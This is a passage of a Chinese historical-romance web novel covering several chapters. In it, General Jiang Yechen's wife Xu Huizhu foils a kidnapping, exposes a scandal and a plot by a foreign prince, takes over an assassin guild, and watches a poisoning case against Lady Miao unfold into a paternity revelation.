“将军,明温婉这株桃花甚合我意,既是美人,将军若不愿怜香惜玉,我乐意啊。”
徐慧珠说话的神情,让姜夜沉想起那夜初相见,她说:我嗜女色。
他深陷不能人道的流言蜚语,她自黑嗜好女色。
他们凑成一对,指不定日子过得下去,不,过成这京城恩爱夫妻的典范。
姜夜沉狐疑地看了一眼徐慧珠,心里莫名生出一股不自信,外加危机感。
该不是她说的戏话,是真的,之所以一直未有异动,是没遇见明温婉。
也就是说,明温婉根本不是他的桃花,却是徐慧珠的桃花,还可能是命定桃花?
越想,心里越烦闷。
“徐慧珠,且记住你如今的身份。”
姜夜沉撂下这句话,转身离开。
徐慧珠:......
大福的脑袋出现在门口,“夫人,坞国会馆出事了,皇上急召将军,将军......将军没生您的气,您信奴才。”
徐慧珠:将军生气了?他因何生气?男人也会悄摸摸生气?
“夫人,明小姐离开了,身后跟着两条尾巴。”
“哦?”徐慧珠蹭地站起身,迅速掏出铜镜,由金夏举着,又从荷包掏出两只瓷瓶,往脸上涂涂抹抹。
不过一会儿功夫,徐慧珠原本的容颜已遮掩五六分,似是变成另一个人。
徐慧珠又和金夏换上另一件寻常衣裙。
“走,跟着。”
天赐良机让她“英雄救美”。
徐慧珠原本还想着如何接近明温婉,今儿好运气赶到一块了。
就是这般凑巧。
明温婉的马车晃悠悠走到一条暗巷,传来小芸
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的惊叫声,“阿生,你......你?”
“小姐,快......快跑。”
只见两名身形粗壮的男人,已前后堵住,正一点一点逼近马车。
叫阿生的车夫站在地上,只说了一句,“大小姐,对不住,奴才......奴才也是迫不得已。”
阿生说完,目露狠厉的光,猛地拉住小芸,用帕子捂住小芸的嘴,应该是帕子上浸了**,小芸的身子扭动了三两下,软绵绵倒在地上。
“大小姐?”
阿生掀开帘子,言语恭敬却透着冰冷的淡漠,“请大小姐去一个地方。”
明温婉脸色发白,她看了一眼阿生,却无多余的恨意。
恨一个奴才,没有必要,更无意义。
“大小姐?”阿生受不住明温婉的目光,一张脸憋的通红发烫,就算他有一万个理由,但他叛主,是事实。
明温婉摇了摇头,止住阿生要说的废话,“阿生,小芸无辜,又一向把你当作兄长敬重,你带她回府,莫伤了她。”
“是,大小姐。”阿生正欲抱起昏迷的小芸,却被一名粗壮男子挡住。
“滚开。”粗壮男子一脚踢向阿生的腹部,车夫对上练家子,哪有反抗的余地。
另一名粗壮男子不耐烦地催促,“河哥,上。”
“爷说了,他吃肉,赏赐咱俩兄弟喝口汤。”
叫河哥的男人从地上捞起小芸,大手趁机先摸好几把,“啧啧啧,手感真爽真妙,这高门大户婢女的肌肤比窑姐儿细腻又软滑。”
“阿强,先说好,回去后先让哥享受,嘿嘿......”
阿强眼里闪烁不愤,凭什么年轻就得吃亏,娇艳欲滴的花儿都让河哥先采,他只能吃剩下的残羹冷炙。
哼,来日方长。
他这个后浪非得将河哥拍死在沙滩上。
阿强逼近明温婉,面对身份尊贵的贵女,他自是不敢动手动脚,“大小姐?”
“我自己来。”明温婉接过浸过**的帕子,“我去见慕容左岸,但你们敢动一下小芸,我会让你们和家人......死无葬身之地,十几口人为小芸的清白陪葬。”
“小芸也不算太亏。”
“不信,你们试试看。”
第060章:青梅竹马的色胆顶了天
徐慧珠和金夏隐匿在黑暗里,“跟上去看看。”
慕容左岸?
慕容府的小公子,是明道成身边的一条狗,也是宋世茂的狐朋**之一。
偏巧,慕容府是明温婉的外祖家,说起来,明温婉得称呼慕容左岸一声“表哥”。
亲戚相见,用得着**吗?
慕容左岸是明道成的一条狗,那他该清楚,明道成做主明温婉的亲事,意欲入将军府后院,另有图谋。
即便如此,慕容左岸还敢**明温婉,这色胆也是顶天了。
也是,不咬主子的狗,就不是一条合格的坏狗。
越来越有意思了。
河哥和阿强对视一眼,待明温婉坐在马车里,自己动手迷晕后,还是把小芸扔进马车里。
不敢再放肆。
采摘一朵娇艳欲滴的鲜花跟性命比起来,不值一提。
徐慧珠和金夏干脆跳上马车,一刻钟后,马车停在一处精致小院。
“爷,人来了。”
“滚下去领赏,所有人滚到院子外面,不得入内,谁敢坏了爷的好事,爷就把他的头割下来当球踢。”
砰的一声,慕容左岸关上房门,留给奴仆们一个华丽的背影。
河哥:爷得逞了,吃得一嘴香肉,他们就惨兮兮,一口汤都没喝着。
阿强:好饿。
房间里,慕容左岸看着床榻上朝思暮想的人儿,心里酥痒又兴奋。
他俯下身,正欲一亲芳泽。
啪啪。
慕容左岸的脸上,挨了结实的两巴掌,一屁股跌倒在地上,这才看清楚床榻前站着一名陌生女子。
平平无奇的面容。
正横眉冷对他。
“你......你?”
“你是谁?”
“你知道爷是谁?敢坏爷的好事?”
慕容左岸以为,他面对的是江湖女侠。
金夏往旁边让开,徐慧珠坐在床榻上,手里把玩**,“公子**人家姑娘,还要用强?”
“公子如此行径,实在不礼貌,不如我帮你叫醒姑娘,你问问姑娘可否愿意以身相许?”
金夏取出一只瓷瓶,喂下药丸。
明温婉醒来。
她先看到的是徐慧珠,不知为何,无需言语,那一双眼睛好生熟悉,莫名让她心安。
慕容左岸生怕明温婉误会自己,抢话解释,“温婉,你别听这俩疯女子胡扯,她们是贼人,瞧出你尊贵的身份,欲**你,然后敲诈一笔银子......”
明温婉凉凉的打断,“所以,慕容左岸,是你英雄救美,我该感激涕零,然后以身相许?”
“温婉,你......你看看你,叫我表哥,或左岸哥哥,或慕容哥哥。”慕容左岸凭嘴胡说。
他又不傻,从明温婉的反应来看,她并不认识这一对忽然冒出来管闲事的俩疯子。
“温婉,你......你如果执意要以身相许,我......我自是愿意的。”
“你也知道,你我有青梅竹马的情分,从小到大,我......我心悦你。”
“明道成让你嫁给姜夜沉为妾,为的是让你接近姜夜沉,图谋不轨。”
“明道成勾结坞国皇子察尔通,肯定暗中谋坏事。”
“再说,姜夜沉不能人道,你入将军府,就是日日守寡。”
“温婉,你我郎有情妾有意,自该成就一桩好事儿,我怎舍得你夜夜独守空房,对镜垂类呢?”
“温婉,你信我,这世上,唯有我对你才是真心实意的好。”
慕容左岸的话,又多又密。
他是明道成身边的狗,还是一条不怎么听话的狗,倒不妨听听,狗嘴里能不能吐出金贵的**来。
明温婉接收到徐慧珠的眼神暗示,引诱道,“慕容左岸,你口口声声心悦我,为我好,我怎么不知道你为我做过什么?”
“你明明知道明道成不安好心,为何不阻止他?”
说罢,明温婉满眼幽怨地看着慕容左岸,看得他一阵阵心虚。
“温婉,你也知道,我有心无力。”
“慕容家不能和明道成作对,姑母和安表弟,还有温婉你都生活在明侯府,仰仗明道成,若将明道成得罪狠了,你们如何过活?”
“唉......”
戏子慕容左岸。
这样的戏精,不登台唱戏,委屈了他的天赋,埋没了他的才华。
“所以,温婉,我苦思冥想,终于为你想出一招妙计。”
慕容左岸自以为感动了明温婉,越发得意。
女人嘛,只要男人走心哄骗,没有哄骗不到的。
天下女人一般傻。
“温婉,你假意嫁给姜夜沉为妾,反正姜夜沉不能人道,你嫁给他,只需逢场作戏取得姜夜沉的信任,不用奉献身体和心。”
“等过一年半载,我从塞外寻来一位名
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医,假意治好姜夜沉的隐疾。”
“到时,我们的孩儿就能继承将军府,而你和我才是将军府的幕后主子......”
慕容左岸说完,一脸得意。
他想了很久很久,才想出这招螳螂捕蝉黄雀在后的妙计。
也唯有他这样的过人智商,方能**所有人于股掌之中。
莫说明温婉震惊,就是徐慧珠也万万没想到,她就是打着接近明温婉的主意,却撞破一场事关姜夜沉的阴谋。
姜夜沉到底知不知道,他的敌人太多了,随手一抓,就能抓住六七**个来。
徐慧珠看了一眼慕容左岸,心想,要不要夸赞一句慕容左岸人蠢胆大?不仅想给姜夜沉戴绿帽子,还想给姜夜沉额外赠送一个便宜儿子?
考虑周到。
深谋远虑。
“慕容左岸,你不要脸。”
明温婉破口大骂,不,只骂不解恨,她径直走向慕容左岸,噼里啪啦一顿耳光。
金夏眼活泛,在明温婉动手之前,帮忙摁住慕容左岸。
这样,明温婉扇慕容左岸耳光,更得心应手。
“温......温婉?”
女人变脸,比脱衣还快。
明温婉的手打疼了,慕容左岸的脸肿成猪,这会儿也不“温婉”了,口喷腥血骂道,“**!”
“啊......**!”
徐慧珠握住明温婉的手,心疼道,“这么漂亮的手,打一头蠢猪,不值当。”
慕容左岸的脸色青黑,动一下,疼入骨。
“看什么看,再看一眼,我就挖出你的眼珠子,烤熟喂给你吃下。”
金夏晃了晃手里的**,还在慕容左岸的脸上来回比划,嘴里嘟囔。
“有大半年没挖人眼珠,感觉手生啊。”
慕容左岸:女子都是娇滴滴的,他怎么倒霉见到女阎王?
“慕容公子想要给我家将军戴绿帽,还谋算霸占将军府......你说,我要不要告诉将军?”
徐慧珠指着自己,“不好意思,忘记自我介绍,我就是将军府的徐夫人。”
慕容左岸:倒血霉啊。
好在,没让徐慧珠等多久,一名锦衣卫扛着一床锦被出现在小院。
锦衣卫擅**,不懂怜香惜玉,嘭地扔下锦被,行礼告退。
“啊......”
慕容左岸尖叫声卡在喉咙里。
怎么是她?
第061章:头一回见识老妪食嫩芽
第二日,京城流传新的八卦。
锦衣卫在执行公务时查到一处细作藏匿的小院,竟意外撞破明道成的夫人苗安娇和慕容左岸偷情。
两人年龄悬殊颇大,那苗安娇都能做慕容左岸的母亲了。
从来都是老牛吃嫩草,锦衣卫也是头一回见识老妪食嫩芽,也不怕崩掉牙齿。
其实,说苗安娇是老妪,实属夸张。
美人儿上了年纪,更显成熟韵味。
锦衣卫可不管奸夫**的身份,当场把两人当作嫌疑人下了牢狱。
一时间,京城传得沸沸扬扬,慕容家、苗家和明侯府风头无量。
世家大族盘根错节,不是你娶我家贵女,就是我嫁你家儿郎。
出了这等丑闻,与这三家有关系的府里,也闹得家宅不宁、好不热闹。
偏偏,慕容左岸胆子小,一路看见犯人受刑的画面,吓得尿失禁不说,不等锦衣卫审问,他先招的干净。
此人,怂到新境界、新高度。
慕容左岸先是攀咬出与苗安娇偷欢的奸夫不止自己,还有坞国皇子察尔通。
他们偶尔在小院玩更刺激的三人游戏。
因为,苗安娇喜欢。
慕容左岸的理由是,年轻女子就是一枚涩果子,吃在嘴里没味,也就吃个新鲜。
像苗安娇这般韵味无穷的女人,就是一枚熟透的水蜜桃,咬一口汁水香甜,才是真正的女人。
人们的记忆被再次唤醒,苗家长女苗安媛嫁给户部尚书府的二爷徐从武,却和自家亲弟偷情,过程太猛烈,以至于苗安媛失手杀**亲弟。
苗耀祖那般肥头大耳的废物纨绔,唯有在苗安媛的眼里,是风流倜傥的翩翩公子。
苗家二女苗安娇嫁给明侯府二爷明道成,却被锦衣卫撞破与慕容左岸偷欢不说,还和察尔通有染。
慕容左岸唯一的优势就是年轻,但看起来体力不怎么好的样子。
至于察尔通,身材短小,容貌丑陋,难道别的地方......异常厉害?
苗氏贵女,口味重,喜好独特。
果然,情人眼里出西施。
这世间,本无道理可言。
接着,慕容左岸**明道成和察尔通勾结,意图控制安国药材市场。
药材,如同盐巴,是国之根基之一。
察尔通一个坞国皇子,欲掌控安国药材市场,他想做什么?
让百姓病了无药可医,引起民愤?
让边疆将士伤了无药可用,引起兵怨?
其心可诛。
姜夜沉亲自带着锦衣卫闯入坞国会馆,将睡梦中的察尔通拎起来。
坞国会馆鸡犬不留,下诏狱、刑讯逼供......锦衣卫的招数挨个儿上一遍。
一封国书送到坞国,附上证据,质问坞国君主何意?
皇帝下旨给南疆王陈青阳,大军向南边境线推进三十里,便是向坞国“宣战”。
这回,坞国君王若不给个合理满意的说法,安国岂能罢休。
姜夜沉忙得脚不沾地,他夜里回府,先去水房清洗一遍,身上还是透着淡淡的腥血气味。
杀的人太多太多,腥血味似与他融为一体。
洗不掉。
锦衣卫办事,以出其不意、冷酷无情著称,这回由慕容左岸和苗安娇的私情丑闻,挖出明道成和察尔通勾结,意欲染指安国药材市场,根本不给察尔通反应的时间,铁证扔在察尔通的脸上,他只得认罪。
“察尔通身边的谋士乌羽秘密求见云霄阁阁主,愿出五十万两银子,请暗杀者劫狱,救出察尔通。”
“徐慧珠,你说,这送上门的银子,赚还是不赚?”
徐慧珠接话,“将军公务繁忙,这件小事交给我处理,如何?”
“正有此意。”姜夜沉拥着徐慧珠,眼皮子止不住地打架,徐慧珠这碗安神药,真真是管用。
“明日你去醉仙戏楼听戏,阿魂自会找你,打明日起,云霄阁便是你的。”
“夫人,这才是为夫送你的聘礼,可喜欢?可满意?”
“将军的意思,让我做云霄阁的阁主?”这礼,实在送到徐慧珠的心尖尖上。
她喜欢。
好生喜欢。
好生感动。
徐慧珠伸出手指,一寸一寸抚摸姜夜沉的眉眼,再到喉结,直到胸膛,心里却是声声叹气:这么美好的男人,怎么就不能人道,当真是可惜,不,应该是暴殄天物。
姜夜沉沉沉睡去。
**,怀里的女子激动了整夜,直到天明才迷迷糊糊
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入眠。
嘴角带笑。
姜夜沉宠溺地捏了捏徐慧珠的脸颊,既然做了他的女人,大可不必困于这小小的后宅,他的人生,他在做的事,她有意参与,他便主动邀请。
等解决完京城的鬼魅,他就带徐慧珠去一趟北疆,亲手为她捉一只白狐养着。
但愿,徐慧珠看到白狐时,不会问他:白狐肉好吃吗?
涮锅子,还是烧烤?
徐慧珠这一觉睡到中午。
姜夜沉不在府里,皇帝对他好是真心实意的好,但也用得极狠,堪比老黄牛。
“夫人,将军临走前交待,说醉仙戏楼今日上演新戏,雅间给您留着,您看?”
“去去去。”徐慧珠恍惚以为昨夜做了一场美梦。
原来不是梦啊。
徐慧珠赶到醉仙戏楼时,戏正开演。
雅间里,一名美男子正悠哉地品茶,在房门打开的瞬间,他才坐直身子。
仿佛,演给她看。
“阿魂见过新主。”
阿魂悄悄打量徐慧珠,身为下属,自是不敢忤逆将军的命令。
新主得认。
但,云霄阁在各国都有分阁,培养优秀的暗杀者,认银子**。
不沾权势,也无惧权势。
为权贵提供服务,被权贵需要,也被权贵深深忌惮。
那又如何?
云霄阁已发展到各国君王费心拉拢利用,心里欲除之的势力。
谁也不知道,云霄阁背后的主子,竟是姜夜沉。
可,将军不曾一句解释,直接让他来醉仙戏楼认新主。
阿魂的心,头一回感受到上不来下不去的怪异。
“你就是阿魂?”
徐慧珠笑着坐下,“云霄阁在培养暗杀者时,极注重容貌吗?”
“啊?”阿魂愣住,冷清惯了的脸渐渐出现裂缝,“阁主何意?”
“没什么意思?就是觉得将军是京城数一数二的美男子,今日得见阿魂你,也是一等一的美男子。”
徐慧珠直勾勾盯着阿魂看,满眼欣赏之色。
阿魂听得出来,她在夸他,简单直白又纯净地夸赞他的容貌。
“难道云霄阁的暗杀者皆容貌出众?”
“将军真厉害!”
阿魂:......
第063章:丧子丧女又丧夫的可怜妇人
徐慧珠明明白白告诉乌羽。
“乌羽,你可知,兔子的两颗牙齿最是尖利,一口咬下去,咬断脖颈的血管。”
乌羽本是女子,该明白道理,女子看似柔弱如白兔,被世间绝大多数男人所轻视,殊不知,这亦是女子的天然保护色。
“阁主,是我见识浅薄了。”
乌羽清楚,他们人在安国,察尔通经营多年的势力,一大半隐匿在坞国,一小半留在身边。
但,姜夜沉和锦衣卫就是嗅觉灵敏的**,敢动一下,就会面临被一网打尽的风险。
自己动弹不得,唯有依靠外力。
“乌羽,你的确见识浅薄,让我白生一回好奇。”
徐慧珠说话直白,一丁点脸面都不给乌羽留。
乌羽的脸,又白又青。
身为察尔通最信任的谋士,她长得一颗八面玲珑心,此刻当着徐慧珠的面,仿佛被逼到死胡同,心里干着急,却浑身无力。
“阁主?”
乌羽想说,她是来云霄阁送上银子的雇主,不是说云霄阁只认银子不看身份,她出的银子不够?
“云霄阁先前已收下定金,答应救出察尔通王子。”
“凡事讲究先来后到,那么坞国太子的生意,云霄阁不会接了吧。”
“察尔通王子的意思,再加五十万两银子。”
乌羽咬牙将手里的筹码,统统奉上。
“另外,坞国盛产药材,药材市场百年来由皇族掌控,只要云霄阁如约救出王子,再得一成利润。”
“为期十年。”
乌羽特意求见云霄阁阁主,一是,加足银子,加到云霄阁完全动心,好拼力救出察尔通。
二是,确保云霄阁不会应下坞国太子的生意。
京城繁华之地,日日产生新鲜八卦。
所谓,好事不出门,坏事传千里。
世事发生,离谱更离谱。
苗安娇一女偷欢二男的丑闻,新鲜度还在,又出更新鲜的丑闻。
“夫人,刚刚传来的消息,苗兴旺毒发。”
“埋下的钉子已偷偷给苗兴旺喂下药丸,吊着一口气,还能活十二个时辰。”
金夏一直盯着苗府。
“父亲动了吗?”
苗兴旺雇**徐从武的消息已传回京城,徐从德身为兄长不得不状告苗兴旺。
徐从德心里怎么想的,巴不得徐从武死,还是像狗一样活?
没人知晓。
“平义已带人去了苗府,夫人,我们也去凑个热闹。”
姜夜沉今日难得休沐,为的就是相陪夫人看热闹。
他还真是无时无刻向世人证明,他宠爱自家夫人,到无法无天的程度。
待徐慧珠和姜夜沉双双赶到之时,苗府已经很热闹了。
可惜,徐从德那个老狐狸只状告,未现身。
今日这戏,能唱,但少了徐从德这个名角,还是不够精彩啊。
府官大人平义正在问话苗兴旺,奈何苗兴旺半死不活躺在床上,嘴硬道,“我......我是恨不得弄死徐从武,可我......我身为朝廷命官,怎能......怎能知法犯法。”
“平......平大人,请你......请你务必还我清白。”
苗兴旺两日前才收到消息,云霄阁暗杀者已取徐从武的性命,一同送到的是徐从武的一双脚掌。
他万分确定死的人,绝对是徐从武。
因为,徐从武的一双脚生得六根指。
平义心想:死到临头还嘴硬,真不知苗兴旺图什么。
“本官定会秉公办案。”
平义还未说完,就被苗兴旺着急打断,“平......平大人,抓......抓毒妇,她......她给我下毒啊。”
苗兴旺苦苦撑着,撑到平义登门,他知道,自己活命的机会来了。
这府里,不知不觉已被云海岚把控。
他**,谁也不敢相信。
苗兴旺万万没想到,云海岚那个毒妇竟发现惠南巷的院子,不仅发卖他的新欢,还要夺他的性命。
果然,女人一旦发疯,是又疯又毒。
“什么?苗大人,你说...苗夫人给你下毒?”
平义短暂震惊后,立马挥手,示意官差先抓人,再审问。
户部尚书徐从德状告苗兴旺雇**人,他刚到苗府,还没问出结果。哪知,苗兴旺实名指证嫡妻**......
这......
连环案件吗?
“不不不。
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”云海岚满眼惊慌,她想不通的是,明明她给苗兴旺下的是**,为何苗兴旺一副快死的模样,可就是不死。
难道,**是假的?还是她手抖下少了剂量?
为了延缓毒发时间,她提前给苗兴旺服用一种特殊药丸,难道药丸克制**的毒性?
为了避开嫌疑,苗夫人就待在自己的院子里,还借口睡不着,让奴仆去隔壁请来苗二夫人打了整宿的叶子牌。
“我没有我没有。”
云海岚狠狠掐了自己一把,强迫理智回归,只要她打死不认,苗兴旺又拿不出她下毒的证据,谁能奈他何?
她不能让自己出事,她要替可怜枉死的耀祖好生活着,护耀祖的血脉平安,教导那个孩儿长大。
这么一想,云海岚彻底冷静下来。
“自耀祖冤死,我日夜以泪洗面,甚少见到老爷。”
“前几日,我和弟妹逛街,意外撞见老爷竟在惠南巷娇养外室。”
“我伤心不已,在弟妹的开解下,我渐渐想通,便让大厨房做了一桌老爷喜欢的膳食,陪老爷用膳。”
“晚些时候,老爷就去书房处理公务,后来管家禀报,说老爷在书房安歇。”
“我知道老爷心里还在恼我不该发卖外室,我心里苦闷,便叫来弟妹陪我在院子里打叶子牌,也请弟妹帮忙找一个身世清白的良家女子,按照规矩为老爷纳妾。”
“莫说我根本没有时间下毒,如今,耀祖**,女儿都已嫁人,老爷就是我的天,是我的命,我哪来的动机下毒?”
“如果老爷不在了,这偌大的苗府,我一介女子,如何撑得下去啊。呜呜呜......”
云海岚说得情真意切,哭得伤心欲绝,她似是受不住枕边人的诬陷,瘫软在地,哪还有贵夫人的风采。
此刻的她,是一个被夫君抛弃又丧子丧女的可怜妇人。
苗兴旺躺在床榻上,愤恨地瞪着云海岚,想他精明一辈子,万万想不到命丧在毒妇的手里。
万幸,他曾高价从普神医那里求得一枚解毒丸。
可,解毒丸只能护住他的性命,要想根除毒素,唯有请动普神医。
“大人,将军携夫人前来......”
第064章:将军说,夫人心善人美
这时,一名官差急冲冲禀报。
“将......将军来了?”
平义懵的不行,这两件案子说大不大,说小不小,但不至于惊动锦衣卫才是。
姜夜沉亲自登门。
一番见礼之后,姜夜沉开口,“今日不是锦衣卫办案,本将军只是陪夫人走一趟苗府,有事同苗大人和苗夫人商议。”
“私事。”
不是锦衣卫办案,而是姜夜沉宠爱夫人。
“怎么?本将军来的不是时候?”
“苗大人不欢迎本将军?还是苗夫人不喜慧珠?”
徐慧珠顺势接话,“慧珠也不知,何时得罪过苗夫人?”
姜夜沉护“妻”,护成这般程度?他是身体不能人道了,难道性情也大变?
府官大人平义赶忙上前,将发生的事情如实说明。
“啊?”徐慧珠装作惊讶,“苗大人雇**二叔?”
撕开伤疤,然后在伤口上撒盐,欣赏仇人痛苦的模样。
徐慧珠心情大悦,却得竭力忍着。
“二叔失手掐死二婶,是没错。”
“可,二叔也可怜啊,这世间哪个男人能受得住妻子一支红杏出墙去,奸夫是亲弟。”
“不管如何,府官大人秉公办理便是。”
“夫人说得极是。”姜夜沉忽然接话。
何时起,冷酷无情的姜夜沉话变多?还掺和八卦?
他很闲很无聊?
苗兴旺倒是有心解释,可他刚刚用了力气,又被云海岚气到,这会儿艰难喘气,脸色一片灰白。
“我今日登门拜访,是受婢女金春相求,她和苗耀祖两情相悦,已怀身孕。”
徐慧珠说罢,拿出金春的身契,“金春陪伴我多年,虽主仆情深,但她腹中孩儿是苗耀祖的血脉,我不能再将她强留身边。”
“我今日便将金春送来,望苗夫人善待,也是全了这场主仆。”
“当然,若两位对金春腹中孩儿的血脉存疑,可在生产之后,寻太医进行血脉验证。”
姜夜沉自然而然接话,“夫人心善人美。”
平义:我先前认识的杀神,是一场梦境?还是将军被神明偷换了灵魂?
云海岚:演戏!
苗兴旺:将军来了,我要求将军,请普神医出手,救我的命。
金春:荣华富贵是我的,是我的。
气氛凝滞。
各怀鬼胎。
这时,一名官差急匆匆跑来,“平大人,有人击鼓鸣冤,状告苗夫人十六年前毒杀他的阿爹。”
平义:......
今日出门前应该看看黄历,这都是什么事,一桩桩一件件凑在一处不说,还透着诡异。
似是一名大厨挥动锅铲,将苗府、户部尚书府、甚至牵涉到将军府,统统搅和到一起,做一锅大锅菜。
刚刚苗兴旺指证嫡妻毒杀她,现在又有人忽然状告云海岚在十六年前**?
“这么热闹?”姜夜沉来了兴趣,“夫人,这苗府似乎是龙潭虎穴,你疼爱的婢女要是也被毒杀?一尸两命!”
众人:......
姜夜沉又说,“平大人,既然三起案子都与苗府有关,那就三起合一桩,就在这苗府一同审理。”
“夫人,咱们旁听。”
话都让姜夜沉说完了,旁人无话敢说。
“将军说得是,金春腹中怀着孩儿,主仆一场,我可不能眼睁睁金春被人害了去。”
站在一旁的金夏暗戳戳激动,心想:果然将军和夫人是天生一对,一唱一和,轻松拿捏全场。
“是是是。”平义只得吩咐,“将人带上来。”
“三案并作一案,本官今日当场办案。”
姜夜沉大手一挥,大福指挥着随行的锦衣卫,当即搬来桌椅,烧水煮茶,还摆上瓜果点心。
“夫人,喝茶。”
“夫人,尝尝这蝴蝶酥。”
“夫人,这个干酥小黄鱼也不错,你尝尝。”
没眼看。
没耳听。
姜夜沉是疯了不成?
失心疯。
很快,一名黑瘦的中年男子被官差带上来,他一见到平义,噗通跪在地上,双手举起诉状。
“草民童大祥跪拜青天大老爷。”童大祥看向苗夫人,眼里的恨意满溢。
“草民有天大的冤情,求青天大老爷做主。”
“苗夫人,**偿命乃天理正道,你当真以为自己能逍遥法外一辈子吗?”
童大祥?
也姓童。
和那个贱民是什么关系?
父子?
在童大祥出
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现的那一瞬,苗夫人只觉得胸口一滞,记忆排山倒海袭来。
不,不可能。
那一家人,上上下下,里里外外,都死绝死透才是。
尸体都烧成了焦炭。
十六年前的那件事情,除了自己,不可能还有知情人。
不,还有一个人,徐慧珠知晓她的秘密。
难道?
“不不不。”苗夫人辩解道。
“平大人,我不认得此人。”
“我乃朝廷命官的夫人,亦有诰命在身,如何能被刁民诬陷?”
“平大人,请立即杖毙此等刁民!”
姜夜沉又开口了,“本将军竟不知,苗夫人有断案才能,还能做府官大人的主?”
“不知,谁给苗夫人的勇气?难道是哪位得宠的后宫嫔妃?”
还不如直接说后宫苗美人,不,如今已是苗贵人了。
这么毫不留情面的质问,也就姜夜沉敢。
也是,京城权贵遍地,姜夜沉给这个脸面,给那个情面,他给得过来吗?
还怎么为皇帝忠心办事。
“苗夫人,不如本将军向皇上推荐,由你来做刑部大人?或者本将军的锦衣卫统领让给你做?”
苗夫人话都不会说了。
她只得向徐慧珠使眼色:快帮忙,如果我出事,我就供出你逼迫我毒杀苗兴旺。
“此人是诬告,还是真有冤情?待府官大人审理,真相自会大白。”
“可,苗夫人你着急杖毙此人,该不是要**灭口吧?如此,吃相太难看了。”
徐慧珠是懂火上浇油的。
苗夫人不敢置信地看向徐慧珠,她们是同盟,不,就算不是同盟,那也是合作关系。
她暂且不计较徐慧珠是她的杀子仇人,徐慧珠怎能落井下石?
苗耀祖的死,徐云晗被配阴婚,挟金春威胁苗府......这桩桩件件,都与徐慧珠有关。
哪怕她没有证据,只要她把这些传出去,也能溅徐慧珠一身湿泥。
姜夜沉看热闹正常,但徐慧珠凭什么?
“平大人,你继续。”姜夜沉森冷的眸子扫过苗夫人,“苗夫人,请不要影响平大人审案,破坏本将军看热闹的心情,你该知道后果。”
还能,这样明晃晃地威胁人?
第065章:父母之仇不共戴天
“是。”
“苗夫人、童大祥,此刻起,本宫问到谁,谁回答。”
“如果有人恶意扰乱,按律先打五板子。”
有姜夜沉在,平义觉得自己腰杆能挺直,底气更足。
他惧怕什么?
就是皇帝怪罪下来,莫名的相信姜夜沉先一步顶在前方。
苗夫人张了张嘴,又无力闭上。
她忽然发现自己身处悬崖,孤立无援。
而原本能帮她护她的苗兴旺,这会儿正奄奄一息躺在床榻,似是连说话的力气都没了。
她,是不是做错了?
平义看了一圈,最后目光落在瑟瑟发抖的童大祥身上,问道,“童大祥,你有何冤屈,仔细说来。”
童大祥颤颤巍巍从怀里取出一枚玉佩,正是苗夫人的身份玉佩,“草民的阿爹原是苗府的管事童阿家。”
童阿家?
苗夫人死死咬住嘴唇,捂住心口,她听不得“童阿家”这个名字。
童阿家,是她高贵人生里的污点,她清洗不掉,也忘不掉。
“不不不,不准说!”苗夫人爬起来,拔下发间的金簪,对准童大祥的脖颈,扑过去。
“我要杀了你!”
金春尖叫一声,捂着肚子本能往徐慧珠身后躲,却被金夏故意挤了一下。
“仗着大肚子了不起啊,哼!”
金春心虚,哪敢惹金夏,只敢心里回怼:四肢发达头脑简单的蠢货,等“本夫人”生下尊贵的公子,做得这苗府的主,到时再狠狠收拾你。
“吵!”姜夜沉拿起一块糕点,看似随手扔出去,正中苗夫人的膝盖。
骨头碎裂。
苗夫人啃到一嘴泥土。
“啊啊啊,好痛!”苗夫人抱着腿,痛得尖叫。
“本将军喜静。”
苗夫人的眼泪挂在脸上,声音卡在喉咙里,瘫坐在地上,不能动,也不敢哭。
她怕杀神动怒,下一回扔向她的不是糕点,而是**。
是人,都不想死。
姜夜沉重新拿起一块糕点,“夫人,咬一口。”
徐慧珠就着姜夜沉的手,轻轻咬下,“饱了。”
“那为夫吃就是。”只见,姜夜沉将剩余糕点送入口中,满脸愉悦。
这恩爱,是演的?还是真情?
“大福听令,谁敢再影响平大人审案,现场斩杀。”
“奴才得令!”大福抽出长剑,给足架势,谁敢再乱动一下、乱说一句,立马成为剑下尸体。
偏偏,平大人上赶着拍马,“今日事发突然,下官未带足人手,多亏遇到将军,得将军相助。”
站在一旁近二十多名官差:我等是假人?
审问继续。
“十六年前,苗夫人威逼利诱阿爹借种生子,顺利怀上身孕,确认腹中孩儿为男胎之后,苗夫人派人放火,意欲**灭口、毁尸灭迹。”
“万幸,阿爹早有谋算,从乱葬岗偷回三具尸体,悄悄放在家里。”
“原本,阿爹是打算想法子赎回自己的**契,然后带着阿娘和我远走,哪怕离开故土,去塞外......”
“阿爹从未信过苗夫人,但阿爹到底低估了苗夫人的狠毒......”
童大祥这些年颠沛流离,过得艰难,靠的是恨意苦苦支撑。
他不敢成亲。
不敢让自己生出牵绊。
他不是听话的儿子,辜负了疼他爱他护他的阿爹。
可,他的心里实在恨啊。
“苗夫人早就给阿爹下了毒,我们一家三口还未逃到北疆,阿爹毒发。”
“临死之前,阿爹将一切告诉我,逼我发誓,带着阿娘继续逃,生生世世不得回京,不得报仇。”
“后来,阿娘随阿爹去了,我......我成了没爹没娘的孤儿。”
“父母之仇不共戴天,就因为苗夫人是贵人,她动一动手,就要毁掉一个幸福的家庭?就要害无辜之人的性命?”
童大祥匍匐于地,嚎啕大哭。
“阿爹阿娘,你们在天之灵看到了吗?儿子做到了,儿子要让全京城的人知道,苗夫人是一个不知羞耻、草菅人命的毒妇,她活着受世人指点,**受世人唾弃。”
“不,她不配为人。”
徐慧珠看了一眼死气沉沉的苗兴旺,感叹道,“天呐,如此说来,苗耀祖是管家童阿家之子,根本不是苗大人的血脉。”
“也就是说,苗大人热心肠为旁人养育了十六年的儿子。”
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>看戏的观众,看完一场精彩绝伦的大戏,岂能不点评一二。
“呵!本将军倒是不知,苗大人身为朝廷命官,莫说为皇上分忧,为民谋福祉,竟连小小的内宅都管不好,被一个女人耍弄十六年,真真是丢尽男人的脸面。”
府官大人:将军和夫人冲人伤口撒盐,是认真的。
“苗-耀-祖-不-是-我-的-儿-子!”苗兴旺在小厮的搀扶下,一步一步挪向苗夫人。
事到如今,苗兴旺还有什么不明白?
想他精明一辈子,谋算大半生,到头来却栽在女人的手里,里里外外活成笑话。
香火,是他的底线。
也是他的命门。
“云-海-岚,你-说-苗-耀-祖-是-不-是-我-的-儿-子?”
苗兴旺生生呕出一口黑血。
他和苗夫人隔着十几步距离,却像是隔着万水千山。
那么遥远。
